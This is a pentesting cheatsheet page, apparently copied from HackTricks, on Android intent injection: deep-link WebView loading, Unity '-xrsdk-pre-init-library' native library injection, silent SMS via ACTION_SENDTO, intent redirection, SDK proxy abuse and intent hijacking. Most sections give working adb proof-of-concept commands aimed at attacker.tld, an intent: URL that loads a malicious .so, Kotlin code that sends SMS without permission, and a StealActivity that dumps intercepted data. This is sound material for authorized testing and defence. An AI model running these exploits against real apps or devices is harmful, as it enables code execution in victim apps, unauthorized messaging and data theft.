repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
intent-injection.mdMarkdown516 lines30.1 KiBsource raw download

title: "Intent Injection" section: "Mobile" sectionSlug: "mobile-pentesting" sourcePath: "src/mobile-pentesting/android-app-pentesting/intent-injection.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/intent-injection.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Intent Injection#

Intent injection abuses components that accept attacker-controlled Intents or data that is later converted into Intents. Two very common patterns during Android app pentests are:

If an app exposes a custom scheme deep link such as:

myscheme://com.example.app/web?url=<attacker_url>

and the receiving Activity forwards the url query parameter into a WebView, you can force the app to render arbitrary remote content in its own WebView context.[2][3][4]

PoC via adb:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
  -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
  -d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

See also:

Webview Attacks

Order-of-checks bug enabling JavaScript#

A recurring bug is enabling JavaScript (or other permissive WebView settings) before the final URL allowlist/verification finishes. If early helpers accept your deep link and the WebView is configured first, your final load happens with JavaScript already enabled even if later checks are flawed or too late.[2][3][4]

What to look for in decompiled code:

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)#

Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unity’s Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if BROWSABLE is present – can supply this extra.[22][23]

A dangerous, undocumented flag leads to native code execution during very early process initialization:[30]

Reverse-engineering excerpt (simplified):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Why it works

Conditions for exploitation

Local exploitation (same device)

  1. Place a payload ELF at a path readable by the victim app. Easiest: ship a malicious library in your own attacker app and ensure it is extracted under /data/app/.../lib/<abi>/ by setting in the attacker’s manifest:
<application android:extractNativeLibs="true" ...>
  1. Launch the victim’s Unity activity with the CLI pre-init flag in the unity extra. Example ADB PoC:
adb shell am start \
  -n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
  -e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (camera/mic/network/storage, etc.) and access to in-app sessions/data.

Notes

Remote one‑click via browser (conditional) If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

However, on modern Android the dynamic linker namespaces and SELinux block loading from many public paths (e.g., /sdcard/Download). You’ll see errors like:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Bypass strategy: target apps that cache attacker-controlled bytes under their private storage (e.g., HTTP caches). Because permitted paths include /data and the app’s private dir, pointing -xrsdk-pre-init-library at an absolute path inside the app’s cache can satisfy linker constraints and yield code execution.[22] This mirrors prior cache-to-ELF RCE patterns experienced in other Android apps.[24]

Confused‑Deputy: Silent SMS/MMS via ACTION_SENDTO (Wear OS Google Messages)#

Some default messaging apps incorrectly auto‑execute implicit messaging intents, turning them into a confused‑deputy primitive: any unprivileged app can trigger Intent.ACTION_SENDTO with sms:, smsto:, mms:, or mmsto: and cause an immediate send without a confirmation UI and without the SEND_SMS permission.[25][27]

Key points

Minimal payload (Kotlin)[25]

val intent = Intent(Intent.ACTION_SENDTO).apply {
    data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
    putExtra("sms_body", "Hi from PoC")
    // From a non-Activity context add NEW_TASK
    addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (no special permissions)[26]

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Attack surface expansion (Wear OS)

Pentest checklist

Other classic Intent injection primitives#


Automating exported-component testing (Smali-driven ADB generation)#

When exported components expect specific extras, guessing payload shape causes time waste and false negatives. You can automate discovery of keys/types directly from Smali and emit ready-to-run adb commands.[5][6]

Tool: APK Components Inspector

Install

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Usage

python apk-components-inspector.py target.apk

Example output

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras cheat sheet (type-aware flags)

Pro tips for Providers

Full-pipeline automation (interactive executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Helper script to parse and execute adb commands
import subprocess

def parse_adb_commands(file_path):
    with open(file_path, 'r') as file:
        lines = file.readlines()
    commands = []
    current = []
    for line in lines:
        s = line.strip()
        if s.startswith("adb "):
            current = [s]
        elif s.startswith("#") or not s:
            if current:
                full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
                commands.append(full)
                current = []
        elif current:
            current.append(s)
    if current:
        full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
        commands.append(full)
    return commands

for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
    print(f"\nCommand {i}: {cmd}")
    input("Press Enter to execute this command...")
    try:
        r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
        print("Output:\n", r.stdout)
        if r.stderr:
            print("Errors:\n", r.stderr)
    except subprocess.CalledProcessError as e:
        print(f"Command failed with error:\n{e.stderr}")

Run on-device: the inspector is Python-based and works in Termux or rooted phones where apktool/androguard are available.


Intent Redirection (CWE-926) – finding and exploiting#

Pattern

What to search in Smali/Java

ADB PoC templates

adb shell am start -n com.target/.ProxyActivity \
  --es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
adb shell am startservice -n com.target/.ExportedService \
  --es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
  --es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Flags helpful for singleTask-style behavior

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Exported SDK proxy activity + Intent.parseUri(..., URI_ALLOW_UNSAFE) + provider grant abuse#

A high-impact variant appears when a third-party SDK adds an exported proxy Activity in the merged manifest and that Activity turns attacker-controlled input into a new Intent that the victim app launches.[21]

Common flow:

High-risk indicators during review:

Why this matters

What to look for in code / Smali

# Inspect final exported components, not only the source manifest
apkanalyzer manifest print app.apk | grep -n -A4 -B2 'exported'

ADB testing ideas

# 1. Reach the exported proxy component directly
adb shell am start -n com.victim/.SdkProxyActivity \
  --es payload '{"n_intent_uri":"intent:#Intent;action=android.intent.action.VIEW;S.browser_fallback_url=https://attacker.tld;end"}'

# 2. Test whether the app reparses an intent URI and launches an explicit internal target
adb shell am start -n com.victim/.SdkProxyActivity \
  --es payload '{"n_intent_uri":"intent:#Intent;component=com.victim/.SensitiveActivity;end"}'

# 3. Probe provider-grant behaviour with content:// targets and grant flags
adb shell am start -n com.victim/.SdkProxyActivity \
  --es payload '{"n_intent_uri":"intent:#Intent;action=android.intent.action.VIEW;data=content://com.victim.fileprovider/root/secret.xml;launchFlags=0x43;end"}'

Notes

Real-world examples (impact varies):


Intent Hijacking (implicit intents)#

Threat model

Minimal PoC manifest (attacker):

<activity android:name=".StealActivity" android:exported="true">
  <intent-filter>
    <action android:name="com.victim.app.ACTION_CALLBACK"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <!-- Optionally constrain MIME or scheme/host/path to increase match score -->
    <!-- <data android:mimeType="application/json"/> -->
    <!-- <data android:scheme="myscheme" android:host="callback"/> -->
  </intent-filter>
</activity>

Handler skeleton:

public class StealActivity extends Activity {
  @Override protected void onCreate(Bundle b) {
    super.onCreate(b);
    Intent i = getIntent();
    Bundle extras = i.getExtras();
    Uri data = i.getData();
    // Dump/forward sensitive result
    android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
    finish();
  }
}

Notes

Pentest guidance

Mitigations


Observing resolver decisions (FLAG_DEBUG_LOG_RESOLUTION)#

When you control the sender, add Intent.FLAG_DEBUG_LOG_RESOLUTION to an implicit Intent to make Android log how resolution happens and which component will be selected.[17][18]

Example:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

What you’ll see in adb logcat is the resolution trace and the final component, e.g. com.android.camera2/com.android.camera.CaptureActivity.

CLI tip

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

This is useful to enumerate candidate handlers on a device/emulator and confirm exactly which component will receive an Intent during testing.


Runtime intent tracing and replay with Frida (IRIS)#

Static manifest review and one-shot adb shell am ... probes miss flows that are only assembled at runtime or that traverse exported proxy components before reaching a sensitive sink. A practical approach is to hook Android's dispatch path inside system_server with Frida, capture real intent traffic, and then replay the interesting ones.

IRIS (Intent Runtime Inspection System) is a local workflow for this: it attaches to system_server, records caller package/process, target package/component, action, data URI, scheme/host, extras, hook stage, and dispatch result, stores the normalized events in SQLite, and exposes filtering + replay from a local UI.[28][29]

Why this helps during intent testing:

Minimal workflow:

# List Frida-visible devices
python3 -m intent_monitor list-devices

# Capture + serve the local UI
python3 -m intent_monitor --database ./iris.db monitor --device-id <device-id>

# Review/filter stored events from CLI
python3 -m intent_monitor --database ./iris.db list --target-package com.target.app
python3 -m intent_monitor --database ./iris.db list --action android.intent.action.VIEW
python3 -m intent_monitor --database ./iris.db list --scheme https --host example.com

Pentest workflow:

  1. Drive the victim app normally (login, tap notifications, open QR/deep links, trigger exported receivers/services).
  2. Filter for the victim package, VIEW actions, unusual callers, or deep-link hosts you control.
  3. Replay the captured event and mutate action/data/extras to check whether the target component is externally triggerable or trusts caller-controlled values.
  4. If replay via normal adb loses fidelity because extras are not simple scalars, use the optional helper APK path to rebuild complex Bundle / Parcelable payloads on-device before dispatching them.

This is especially useful for validating:

Notes:

References#